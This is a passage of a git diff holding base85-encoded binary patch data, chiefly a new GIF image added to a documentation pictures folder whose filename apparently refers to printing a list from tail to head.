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

literal 0
HcmV?d00001

diff --git a/docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548294571338.gif b/docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548294571338.gif
new file mode 100644
index 0000000000000000000000000000000000000000..f2c3dce755fb3685602315c7d62944c75c3e5ef9
GIT binary patch
literal 17408
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
